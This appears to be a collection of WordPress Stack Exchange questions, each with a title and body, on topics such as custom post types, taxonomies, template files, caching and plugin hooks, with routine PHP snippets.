text: I have a hierarchy that I need to get data from. It's the child (by slug name) that I need to get while already having knowledge of the parents.               Highest Known Parent Page (slug : 'parent')     |_ Child 1 (slug : 'child-1')        |_ Page 1 (slug : 'page-1')        |_ Page 2 (slug : 'page-2')     |_ Child 2 (slug : 'child-2')        |_ Page 1 (slug : 'page-1')        |_ Page 2 (slug : 'page-2')     |_ Child 3 (slug : 'child-3')        |_ Page 1 (slug : 'page-1')        |_ Page 2 (slug : 'page-2')      Ideally I'm trying to have a result that returns "page-2" consistently, and I am already working within a loop where I know "child-1", "child-2", "child-3", etc.I am just not sure how to query the third level. Any ideas? I'm probably over-thinking this, as there's probably an easy way to get an ID of a page from a slug, when you already know the parent. Of course, I'll need to script contingencies in case "page-2" doesn't exist for some reason, but I first need to get the right data. **UPDATE:** Here's the code I'm working with right now. I know models. I know children of models. I'm trying to get each and every one of a certain child underneath all model children. For example, a "specifications" page. So I'm hoping to have like 5-6 different "specifications" pages returned to me...so I can easily link to them (dynamically).               <?php     // get models id     $models = get_page_by_path( 'models' );          // get children of models page     $args = array(         'post_type'      => 'page',         'posts_per_page' => -1,         'post_parent'    => $models->ID,         'order'          => 'ASC',         'orderby'        => 'menu_order'     );     $children_posts = new WP_Query( $args );     ?>


title: Woocommerce: how to change 'Cart Updated' message

text: I've spent several hours trawling for a solution to what would seem to be a fairly straighforward issue - but with no joy. Any help on this would be massively appreciated. I'm using my own custom theme with Woocommerce. I'd like to be able to change the message text that appears when a user updates their cart from 'Cart updated' to 'Basket updated'. **Please note:** this is the message shown when a user changes the quantity of a product within the cart, and selects 'Update Cart'. I already know how to change the text of the 'Add to Cart' button, and also the message shown when an item is added to the cart ('Item was successfully added to your basket'). Any help would be very gratefully received. Thanks.


title: Inserting ads into wordpress default rss feeds

text:
i'm hoping i'd find some help in regards to inserting ads into wordpress default rss feeds (i do not use feedburner)               <?php     function insertAds($content) {         $content = $content.'
Have you visited WpRecipes today?
';         return $content;     }     add_filter('the_excerpt_rss', 'insertAds');     add_filter('the_content_rss', 'insertAds');     ?>      Source here But i read that the_excerpt_rss and the_content_rss is kind of deprecated. Can anyone advise me on the present hooks to use? Thanks


title: Override default jquery ui library with newer version

text: The latest version of jquery ui core fixes a bug that's on my site. The problem is that Wordpress comes with an earlier version. How do I override the default jquery ui core? One solution I've found is to edit the script-loader.php file in wordpress includes folder but I don't want to touch the WordPress core unless I have to. Below is the core change that worked that I want to avoid.               $scripts->add( 'jquery-ui-core', '/wp-content/themes/themefolder/jquery.ui.core.min.js', array('jquery'), '1.9.2', 1 );


title: Make Profile link, link to the BuddyPress profile instead of the WordPress dashboard?

text: I am using the plugin Sidebar Login for BuddyPress which enables users to insert a login box in the sidebar which in turn produces three links: Dashboard, Profile, and Logout. My issue is that the Profile link, links to the WordPress dashboard. I would like it to link to the actual BuddyPress profile page. Is there any way I can change something in `sidebar-login.php` or `admin.php` to remedy this problem? I have pasted `sidebar-login.php` here: http://pastebin.com/V2v1t4gm I have pasted `admin.php` here: http://pastebin.com/6KjxeZ3h


title: Filer taxonomy posts by current category

text: I have a custom taxonomy 'where' and I am using this code to get taxonomy terms on single.php               <?php echo get_the_term_list( $post->ID, 'where', 'Where: ', ', ', '' ); ?>      How can I customize this code in a way if user click on 'where' terms, they should get posts of this taxonomy only from the current category.


title: How do I create a template page with a specific widget as the content?

text: I have installed a widget so that I may add testimonials. This widget cycles through the testimonials in the sidebar and everything is fine. What I now want to do is create a testimonials page that retrieves all the entries from this widget. The functionality already exists in the widget to retrieve all the testimonials, however I cannot find a way to get the widget explicitly. I have tried the_widget() but cannot work out what the widget's PHP class name is. Is there another way of grabbing this widget? [edit] @user8982, thank-you for your suggestions, however this is not what I require.   * I am using Wordpress V3.2.   * 1, The plugin I am tring to access is 'Testimonials Widget' by   'j0hnsmith'.   * I am using a custom theme. I have already created a template file. I have a testimonials widget registered in the main sidebar. I would like to, in my template, retrieve this widget (as an object preferably) and have it echo every testimonial instead of showing/hiding them one at a time.


title: Code needs wrapper/container to put footer back in, but where?

text:
A previous developer made some huge messes, most of which I have fixed over time. The last problem, though, has to do with properly getting a footer in there, which he deleted. I believe if I can get some assistance here understanding where to reposition elements from the body back into header (which I'm almost sure is necessary) and then what to put a container or wrapper around in the body/main page templates (he set them all up exactly the same, so fixing one will allow me to then go fix all), I can then take care of the other problems of preset height for pages and absolute positioning for footer, when it should be relative, and so on. So, my focused question is, where could I put a wrapper/container around code in the body, so I can then go do the other relevant changes that will make dynamic height of the pages, and allow me to put "get footer" back in my template.php files, to be relatively positioned? My apologies if I'm not posting correctly. Another developer directed me here. First time here , and I'm not sure of the protocols, including how much info to post to get a Q answered, and how to post code. Many thanks for your help and patience. This is the site: www.voltrek.com. Here is the last few lines of the header.php and then the code for one of the templates, in this case the Home page, that are all done the same. Also, Simple Sidebar Navigation is used for page hierarchy. Header (last few lines) > >     <?php wp_head(); ?> >      >     <body <?php body_class(); ?>> >   >
 >     <?php if ( !function_exists('dynamic_sidebar') || > !dynamic_sidebar('Simple Top Nav') ) : ?> <?php > endif; ?> >   Homepage template                `get_header(); ?>
          <img class="voltrek_site_top_section" src="<?php echo (get_template_directory_uri() . '/images/voltrek_site_top_section.png');  ?>" alt="" />                    <a id="voltrek_site_contact" href="<?php echo get_permalink(463); ?>">Contact us                         <img class="voltrek_homepage_photo" src="<?php echo (get_template_directory_uri() . '/images/voltrek_homepage_photo.jpg');  ?>" alt="" />

                           <?php include("voltrek_page_hierarchy.php"); ?>                    <?php the_secondary_content(1)?>

                           <?php the_secondary_content(2)?>

                           <?php the_secondary_content(3)?>

                 </html`


title: Is there a way to order posts and custom post types as one group?

text: I have tried several plugins which seem to purport to do this (like this one), but they either don't or are very poor in their implementation and cause problems (the one linked seems to randomly select. I have a WP_Query in my index.php as follows:               <?php     if ( get_query_var('paged') ) $paged = get_query_var('paged');       if ( get_query_var('page') ) $paged = get_query_var('page');          $query = new WP_Query( array( 'post_type' => array('post','secondposttype'), 'paged' => $page ) );          if ( $query->have_posts() ) : ?>      As such, my homepage displays ordinary posts and posts from the custom post type "secondposttype". I am also using conditional count scripts, so I can customise what appears, etc:               <?php if ($count == 1) : ?>      The solution we currently use is the Q2W3 Post Order plugin, which works great if there is just _one_ post type. I have tried automatically adding a custom taxonomy value to new posts/custom post type posts, querying that custom taxonomy in my index.php and then using Q2W3 Post Order to order posts within that taxonomy, but it simply doesn't work (plus, this feels much more hacky than it should be). My question is: is there a way to order posts and custom post types as one big list? Such that, when I query them like above, I can order how they are displayed? I would find it hard to believe that wanting to do this is a rare occurrence. **EDIT:** I'm going to give an example of what I want to do. I want to display posts and posts from the second post type on the homepage through one WP_Query. And I want to be able to control it that so the order could go like this:   1. Post 1 from "post" post type   2. Post 1 from "secondposttype" post type   3. Post 2 from "secondposttyle" post type   4. Post 2 from "post" post type   5. Post 3 from "secondposttype" post type And then, on another day, I might want the order to be:   1. Post 3 from "secondposttype" post type   2. Post 1 from "post" post type   3. Post 2 from "post" post type"   4. Post 1 from "secondposttype" post type   5. Post 2 from "secondposttype" post type There are plugins which order one post type, so that you can decide which post appears first, second, third, fourth, etc. I just want to be able to group posts and some other post types so that not only do they appear in one stream (which is possible through WP_Query) but that they can be ordered in whatever order and that posts and posts from the second post type are treated as one and the same for ordering purposes.


title: include a post unrendered into a post, then render the whole thing

text:
With a few extra lines in my functions.php I've created a shortcode that lets me include the content of a post:               function include_content( $atts ) {       $id = (int) $atts['id'];       if ( ! $post = get_post( $id ) )         return '';       return apply_filters( 'the_content', $post->post_content );     }     add_shortcode( "include", "include_content" );      Now, if I make a posting like               A few weeks ago I published an epic statement: [include id="345"]      WP generates
A few weeks ago I published an epic statement:
FTW!
     just my 2 ¢

      So, obviously the content of the old post is wpautop'ed before it's included. If simply returning $post->post_content, that content would end up unrendered (i.e. no `<br />`) within the outer posting. Now, how can I get rid of the paragraph tags around the imported post, i.e. how can I do the include first and wpautop the whole thing after? Any code improvements are welcome, too! Thanks!


title: Turning off trackbacks & comments

text: We have a few different websites running various versions of Wordpress that have comments and trackbacks turned off, yet I still receive emails saying there's some waiting for me! I've turned them both off in the admin area and also removed the comments box completely yet I still get them, how can I fully turn them off?


title: Can I bind a post_type='post' category to a custom post_type category?

text: I am using an automation solution to pull my videos into a category. It seems the automation solution cannot account for custom post types and custom post type categories, so I'm having to send all of my video content to a normal category. How can I still take advantage of my theme's custom post types? Is there a way I could do some hard wiring? Or is there a plugin that will help me connect the two? _Edit_ This is as far as I was able to get with automating the solution programatically (but you can see, this depends on the taxonomy name of the custom-post-type-category being standardized as 'taxonomy_uniquename'):               //insert rss item into database store        $post = array(               'post_author' => $campaign_author[$key],         'post_category' => $cat,          'post_content' => $description,          'post_date' => $date_placeholder,         'post_date_gmt' => $gmt_date,         'post_name' => $permalink_name,         'post_status' => $post_status,          'post_title' => $title,         'post_type' => $campaign_post_type[$key],         'tags_input' => "$tags",         'original_source'=> $link     );       $post_id = wp_insert_post( $post, $wp_error );          //echo $wp_error; exit;     if ($campaign_post_type[$key]!='post'||$campaign_post_type[$key]!='page') {         wp_set_object_terms($post_id,intval($cat[0]),"taxonomy_$campaign_post_type[$key]");     }


title: Changing Tag, Changes Category in Custom Post Type

text: I have a custom post type called recipes. Then, I have a taxonomy called r_cat which is to show the categories, such as Diabetic Diet Recipes, etc. I also have tags. What is happening, if I try to change the recipe category name and slug, it also changes the tag name and slug. So, they are linked? Do I have something in the setup of the CPT or taxonomy that causes the taxonomy category and tag to be one and the same? Here is my code:               add_action('init', 'cptui_register_my_cpt_recipes');     function cptui_register_my_cpt_recipes() {     register_post_type('recipes', array(     'label' => 'Healthy Recipes',     'description' => '',     'public' => true,     'show_ui' => true,     'show_in_menu' => true,     'capability_type' => 'post',     'map_meta_cap' => true,     'hierarchical' => false,     'rewrite' => array('slug' => 'healthy-recipes', 'with_front' => false ),     'query_var' => true,     'has_archive' => true,     'supports' => array('title','editor','custom-fields','thumbnail','page-attributes','post-formats'),     'taxonomies' => array('post_tag','r_cat'),     'labels' => array (       'name' => 'Healthy Recipes',       'singular_name' => 'Recipe',       'menu_name' => 'Recipes',       'add_new' => 'Add Recipe',       'add_new_item' => 'Add New Recipe',       'edit' => 'Edit',       'edit_item' => 'Edit Recipe',       'new_item' => 'New Recipe',       'view' => 'View Recipe',       'view_item' => 'View Recipe',       'search_items' => 'Search Recipes',       'not_found' => 'No Recipes Found',       'not_found_in_trash' => 'No Recipes Found in Trash',       'parent' => 'Parent Recipe',     )     ) ); }          add_action('init', 'cptui_register_my_taxes_r_cat');     function cptui_register_my_taxes_r_cat() {     register_taxonomy( 'r_cat',array (       0 => 'recipes',         ),         array( 'hierarchical' => true,         'label' => 'Recipe Categories',         'show_ui' => true,         'query_var' => true,     'rewrite' => true,     'show_admin_column' => false,     'labels' => array (       'search_items' => 'Recipe Category',       'popular_items' => '',       'all_items' => '',       'parent_item' => '',       'parent_item_colon' => '',       'edit_item' => '',       'update_item' => '',       'add_new_item' => '',       'new_item_name' => '',       'separate_items_with_commas' => '',       'add_or_remove_items' => '',       'choose_from_most_used' => '',     )     ) );      }      Thanks for any help. I'm so hope its an easy fix??


title: Why in my theme I can't see all the statics content under the posts?

text:
I am pretty new in PHP and I have the following problem, I am developing this WordPress problem: http://onofri.org/WP_BootStrap/ As you can see it is shown the unique post present on my blog (the one named Hello Wordl) but under it the rest of my theme is not shown. This is the code of the page and how you can see under the shown post there are many other static information that have to be shown:               <?php get_header(); ?>

Lorem ipsum dolor sit amet

                         consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et...

Lorem ipsum sit dolor

                             Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
                          Acquista il pacchetto

Lorem ipsum sit dolor

                             Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
                          Acquista il pacchetto

Lorem ipsum sit dolor

                             Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.
                          Acquista il pacchetto

                  <?php                 if ( have_posts() ) :                     // Start the Loop.                     while ( have_posts() ) : the_post();                              /*                          * Include the post format-specific template for the content. If you want to                          * use this in a child theme, then include a file called called content-___.php                          * (where ___ is the post format) and that will be used instead.                          */                         get_template_part( 'content', get_post_format() );                          endwhile;                     // Previous/next post navigation.                     twentyfourteen_paging_nav();                      else :                     // If no content, include the "No posts found" template.                     get_template_part( 'content', 'none' );                      endif;             ?>
Ultimi Articoli

                                      <time datetime="2010-11-10" pubdate>                         10/11/2010                     </time>
FIRST POST TITLE

                     POSTS CONTENT
                                           <address>                         MY NAME                     </address>

Ultimi lavori

Il nuovo sito di HTML.it

                             Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

                             Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

                             Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

                                 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.
                             Marco Rossi Direttore Marketing

Lorem.com

                             Click per ingrandire

Lorem.com

                             Click per ingrandire

Lorem.com

                             Click per ingrandire

Lorem.com

                             Click per ingrandire

News e aggiornamenti

Lorem ipsum

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                             Leggi tutta la news

Lorem ipsum

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                             Leggi tutta la news

Lorem ipsum

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                             Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                             Leggi tutta la news

                                 Lorem ipsum

                                 Sit dolor

                                 Adipiscing nunc

                                 Condimentum diam

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                     Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

                                     Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

                                     Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper. Donec eget orci metus, ac adipiscing nunc. Pellentesque fermentum, ante ac interdum ullamcorper.

                                     Vivamus imperdiet condimentum diam, eget placerat felis consectetur id. Donec eget orci metus, ac adipiscing nunc.

                                     Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

                                     Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus etiam sem...

                                     Donec id elit non mi porta gravida at eget metus id elit mi egetine. Fusce dapibus, tellus ac cursus comodo egetine metuss gorp.

Servizi e offerte

Opzione Free

                                 Gratuito

                                 Dapibus ac facilisis in

                                 Morbi leo risus

                                 Porta ac consectetur ac

                                 Vestibulum at eros

                                 <button class="btn btn-success btn-block btn-round-bottom" type="button">                                     Abbonati                                 </button>

Opzione Pro

                                 € 5.99 al mese

                                 Dapibus ac facilisis in

                                 Morbi leo risus

                                 Porta ac consectetur ac

                                 Vestibulum at eros

                                 <button class="btn btn-success btn-block btn-round-bottom" type="button">                                     Abbonati                                 </button>

Opzione Super

                                 € 9.99 al mese

                                 Dapibus ac facilisis in

                                 Morbi leo risus

                                 Porta ac consectetur ac

                                 Vestibulum at eros

                                 <button class="btn btn-success btn-block btn-round-bottom" type="button">                                     Abbonati                                 </button>

          <?php get_footer(); ?>      In the previous code this is the section that show my posts into the homepage:               <?php         if ( have_posts() ) :             // Start the Loop.             while ( have_posts() ) : the_post();                      /*                  * Include the post format-specific template for the content. If you want to                  * use this in a child theme, then include a file called called content-___.php                  * (where ___ is the post format) and that will be used instead.                  */                 get_template_part( 'content', get_post_format() );                  endwhile;             // Previous/next post navigation.             twentyfourteen_paging_nav();              else :             // If no content, include the "No posts found" template.             get_template_part( 'content', 'none' );              endif;     ?>      But, as you can see, all the static contents that are situated under this PHP code is not shown (if I delete this part of code it work well and I can see the last part of my theme) Do you have some idea about how can I solve this problem? What am I missing? Tnx Andrea


title: Initial wordpress deploy via git

text: Currently, I've got my local machine setup and pushing to staging via git. There are cases where I upload images locally to test admin page interaction. In my `.gitignore` file I'm ignoring everything but the theme and plugin folders. I'm curious as to how you handle the initial push to a staging server. Namely the uploads folder. Do you push everything, then modify the `.gitignore` file to not show uploads? Just trying to perfect my process. Any insight would be helpful.


title: Function to erase every post from a taxonomy

text: I'd like to have a piece of code that erase every single post from a taxonomy of a post type when triggered. How can I do it? Thank you.


title: How to get thumbnail from post attachment in this loop

text:
I use this code to display Most popular posts based on view count, but I dont have images in post content I have all images attached to post via attachment (gallery) How to replace this "thimthumb" thumbnail with first attachment of this listed posts?
                 <?php _e('
Popular
','iphoto');?>
                 <?php                 $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;                 $args = array(                     'meta_key' => 'views',                     'orderby'   => 'meta_value_num',                     'paged' => $paged,                     'order' => DESC,                     'showposts' => 9                 );                 query_posts($args);                     while (have_posts()) : the_post();                     $output = preg_match('//i', $post->post_content, $imgs);                      $cnt = count($imgs);                 ?>
                 <?php if ( $cnt > 0 ) {  ?>                 <a class="same_cat_posts_img" href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php echo '';?>                 <?php } else {  ?>                 <a class="same_cat_posts_img" href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><img alt="<?php the_title(); ?>" src="<?php bloginfo('template_url'); ?>/timthumb.php?src=<?php bloginfo('template_url'); ?>/images/default.jpg&w=60&h=60&zc=1" />                 <?php } ?>
                 <?php endwhile; wp_reset_query(); ?>


title: Create a Seperate widget for both Tags and TagsCloud?

text: Is it possible to create a seperate widget for "Tags" and "TagsCloud"? This question is similar, however how would you make 2 seperate widgets for "Tags" and "TagsCloud"? The difference is class would be called "tags" instead of "tagscloud" and the default settings for wp_tag_cloud() would have the same size no matter how many posts? How do I display a tag cloud with both post tags AND a custom taxonomy?


title: Jigoshop search taxonomy

text: I was wondering does anyone know how I can modify the search so it searches a taxonomy? at the moment it just looks for a product title, but not the taxonomy assigned to the post. Please help


title: Custom WP Query from meta_value stored as serialised array

text:
I'm using a Magic Fields 2 multicheck box to store Services which can be assigned to Case Studies. The data is stored as a serialised array in WordPress, and I need some help to extract the "related posts". I know that you can't simply use the array as the meta_value (WordPress simply doesn't support it) so I have to use multiple loops or add custom code within the loop. This is the code I have so far:               <?php     $related_case_study_args = array(         'post_type' => 'case-studies',         'posts_per_page' => '-1',       // get all posts     );          $related_case_study_loop = new WP_Query($related_case_study_args);          if ( $related_case_study_loop->have_posts() ) :           ?>
See Related Case Studies:
          <?php          while ( $related_case_study_loop->have_posts() ) : $related_case_study_loop->the_post();          ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
          <?php          endwhile; endif;     wp_reset_query();          ?>      which works fine and pulls in each of the Case Studies. On each Case Study, there are individual services this needs to filter by. How can I get the meta_value, extract it and only display entries which are related? I've tried using this code inside the "while" statement just to see if the data is returned correctly, but without any success:               // returns an array as this is a multicheck field in Magic Fields 2     $services = get_post_meta($post->ID, 'services', true);          // foreach item in the array     foreach ($services as $service) {         if ( sanitize_title($service_title) == sanitize_title($service) ) {             echo '
' . esc_attr($service) . '
';              }     }      Any help here would be appreciated! Many thanks, James


title: How to create a page template that display posts with a certain category in the Genesis Framework?

text: I know how to to create this kind of templates. Usually, I just start a custom WordPress loop. But when I checked a template file in the Genesis Framework I saw this: **page_blog.php:**               <?php          /*           WARNING: This file is part of the core Genesis framework. DO NOT edit           this file under any circumstances. Please do all modifications           in the form of a child theme.           */                    /**           * Template Name: Blog           * This file handles blog post listings within a page.           *           * This file is a core Genesis file and should not be edited.           *           * @category Genesis           * @package  Templates           * @author   StudioPress           * @license  http://www.opensource.org/licenses/gpl-license.php GPL v2.0 (or later)           * @link     http://www.studiopress.com/themes/genesis           */          genesis();      This is the Blog Page and I'm puzzled. How do I create a template that lists posts with a certain category?


title: Is it necessary to use Timthumb in Wordpress 2.9+?

text: as Wordpress 2.9 comes with built in post thumbnail features, is it necessary to use Timthumb ? if yes specify


title: How to add a WYSIWYG text editor to the Category Edit Screen

text: I've been working lots with categories lately, what with the increased awareness and demand for themed or silo'd site structures. To that end, I'm looking to enhance my category landing pages by relabeling the "Description" field as "Summary Description" and adding a new field called "Detailed Description". I will be using the "Summary Description" field on my category index page (a listing of all my site's categories) and I want to use this new "Detailed Description" field to show on the landing page for each category. So I need a rich text edit field added to the Category Edit Screen. Does WordPress make it easy to create an instance of a rich text edit field, perhaps pulling a light version of the post/page editor? I probably don't need a toolbar, but it might be nice to have some basic formatting buttons like B, I, U, hyperlink, etc...


title: Function to check if custom page is used by page?

text: I have template-clientlist.php now I search on wordpress doc but can find a function on how to check if page used template-clientlist.php               template-clientlist.php          <?php     /*     Template Name: Page Of Posts     */     ?>      Is there function that exist or custom function to check if page used the custom template?


title: Wordpress MU users - how are they organized?

text: WP and WP MU are a bit different, for example in users. I'm not sure that I understand user functionality correctly. Tell me please what are the differences between WP and WP MU users? For example I know that MU-users register only once on the main site of a network (ie they shouldn't register on each subsite). Also I know that a user can eighter have or not have a subsite. And know that there is a possibility to add a user to a certain subsite. It seems that's all I know :) Is it possible for user to register oneself on a certain subsite (but not only in the network in general) to be already automatically assigned to a certain subsite right after registration? How? What is a possibility to add a user to a certain subsite for? Can I delete a user from a certain site? And so on...


title: Temporary redirect Original wordpress to subfolder to create new site on root location?

text: I'm going to update the Wordpress site of my brother-in-law, within 2 weeks and I want to move his current site to a subfolder, while all users can still visit his website through `http://domain.com/`. While that redirect is active, I want to have a new Wordpress website be located at the rootfolder on the server, but accessible through a different link, such as `http://beta.domain.com`, but all files, such as images, should be either relative (`/wp-uploads/...`) (preferred, I guess?) or point to `http://domain.com/wp-uploads`, where the site actually is located and will move to when all is done. Though.. I got a slight clue how to do it.. But rather get informed by you guys. Please advice me how I can handle this current and new site-situation, that should have an easy 'migrate-when-ready' property, the best way. Thanks! **_My thoughts_**   _Current website: Set at`WP-settings` the site-url to `http://domain.com/`, but Wordpress URL to `http://domain.com/temporary`;   New website: Set at `WP-settings` the site-url to `http://domain.com/beta`, but Wordpress URL to `http://domain.com/`._ _I'm unsure if that's all I got to do, don't I?_


title: Implementing action correctly

text: Hi I am implementing a core plugin plus add ons. There is a settings page and I would like to hook some validation routines for the addon plugin into the core plugin's validation function. However it's not working. Can you point me in the right direction? Here's an excerpt of what I have:                   register_setting( 'myp_settings', 'myp_settings', 'myp_settings_validate' );              function myp_settings_validate( $input ) {           $options = get_option( 'myp_settings' );           do_action( 'myp_settings_validate', $input, $options );           return $options;         }      The above is in the core plugin's code, while the below is in the addon plugin:               add_action( 'myp_settings_validate', 'myp_settings_et_validate', '', 2 );          function myp_settings_et_validate( $input, $options ) {              if ( ! isset( $input['excerpt_enable'] ) || $input['excerpt_enable'] != '1' )         $options['excerpt_enable'] = 0;         else         $options['excerpt_enable'] = 1;              if ( ! isset( $input['thumbnail_enable'] ) || $input['thumbnail_enable'] != '1' )         $options['thumbnail_enable'] = 0;         else         $options['thumbnail_enable'] = 1;              return $options;     }


title: Display deepest post category, when post have multiple categories

text: I want to display the direct category ancestor of a given post. An illustrative example: These are the categories I have:                Cat1      Cat2       Cat2.1        Cat2.1.1        Cat2.1.2       Cat2.2        Cat2.2.1        Cat2.2.2       Cat2.3      Cat3       Cat3.1        Cat3.1.1      Cat4      I check the whole trailing, like in:                 Cat1       [X]Cat2         [X]Cat2.1             Cat2.1.1          [X]Cat2.1.2 <-my post            Cat2.2             Cat2.2.1             Cat2.2.2            Cat2.3       [x]Cat3<         [x]Cat3.1          [x]Cat3.1.1 <-my post          Cat4      So I have `'my post'` assigned to a multiple categories. Lets say I am navigating to `'my post'` like this : `Cat3->Cat3.1->Cat3.1.1->my post`. Now, in the single post page, I want to display the name of the direct category ancestor of `'my post'` (`Cat3.1.1` in this case). But the question is how to do this?


title: Any examples of adding custom fields to the category editor?

text:
I think I'm pretty close to cracking this nut :) I'm trying to add a set of custom fields to the Category editor. Since I'm not dealing with post meta, I believe I'll be writing my custom category field values to the wp_term_taxonomy table rather than the wp_options table. Is this correct? If there are any examples of how to do this, please share a link or bit of code. I'm not sure how to capture and save my custom category fields. Here's my code...               //add the hook to place the form on the category editor screen     add_action('edit_category_form','ce4_category_admin');          //Adds the custom title box to the category editor     function ce4_category_admin($category){         echo "category: ".$category->term_id; //great, I got a reference to the term_id, now I need to get/set my custom fields with this key         ?>

                 Full Category Title	                 <input name="_ce4-categoryTitle" id="_ce4-categoryTitle" type="text" size="40" aria-required="false" value="<?php echo get_taxonomy($category->term_id, '_ce4-categoryTitle'); ?>" />
The title is optional but will be used in place of the name on the home page category index.

                 Full Category Text for Landing Page	                 <textarea style="height:70px; width:100%;margin-left:-5px;" name="_ce4_fullDescription" id="_ce4_fullDescription"><?php echo get_taxonomy($category->term_id, '_ce4_fullDescription'); ?></textarea>
This text will appear on the category landing page when viewing all articles in a category. The image, you supply above, if any, will be used here and this content will wrap around it.

     <?php     }          //How to save the custom field data? Normally I'd use..     //add_action('save_post', 'custom_save_function');     //but this is not a post, so perhaps there's another method?


title: Give access of horizontal scroling plugin to user role editor

text: How do i give access to user role editor without using any plugin using bellow function               function HSA_add_to_menu()               {                  add_options_page('Horizontal scrolling announcement',  __('Horizontal Scrolling', WP_hsa_UNIQUE_NAME), 'manage_options', 'horizontal-scrolling-announcement', 'HSA_admin_options' );              }


title: How long is "as long as possible" in wp_cache_set()?

text: The documentation for `wp_cache_set()` says that if you pass in 0 for `$expire` (which is also the default), then it is cached for "as long as possible". How long is this? What determines it? Are we talking hours, days? In my case: I have a _very_ expensive SQL query on a multisite network of literally 100s of blogs, the result of which could be cached for weeks (really forever - could just manually flush it when needed). Should I use WordPress's cache or sort something out myself?


title: Next/Previous links doesn't work in the same category

text: I created a category and call it "Blog". Then I created some posts and assign "Blog" as category for the posts. So I'm trying to go to previous/next into the same category and doesn't work. Here is my code:                        <?php previous_post_link('%link', __('← Previous'), TRUE); ?>         <?php next_post_link('%link', __('Next →'), TRUE); ?>           None of the links is being displayed even if I have more than one post created. If I remove the TRUE value then it goes to other categories. What am I doing wrong?


title: Custom terms inserting as single string with commas, not separated

text: I have a front end form, one of the inputs asks for a comma separated list of keywords which should each end up being a custom term, I just saw in the backend the terms are entered as single string with the commas and not individually. My code is below, how can I turn the string ie; term1,term2,term3 which may be entered in the input to 'term1','term2','term3' which is what the format looks like it needs to be to insert each keyword as a unique term? I've tried both with `wp_insert_post` and `wp_set_object_terms`               $keywords = $_POST['keywords'];          $new_post = array(         'post_title'    => $title,         'tax_input'    => array( 'keyword' => array( $keywords ) ),         'post_status'   => 'publish',         'post_type' => 'test'     );          $nonce = $_POST['nonce'];      if ( ! wp_verify_nonce( $nonce, 'form-nonce' ) ) {          die( 'Security check' );       } else {         $pid = wp_insert_post($new_post);         //var_dump($new_post);              //wp_set_object_terms($pid,$keywords,'keyword');      }         wp_redirect( get_permalink($pid) );          //echo $pid;         exit();


title: Data Validation

text: I'm using Wordpress as CMS and have a checkout page where info is inserted into the db using $wpdb->insert. I have 2 questions:   1. Is 'sql injection' already a part of that function or do I need to add my own code?    2. Are there wordpress form input validation functions that I can use on my custom form?


title: Does WordPress have fine-grained view permissions?

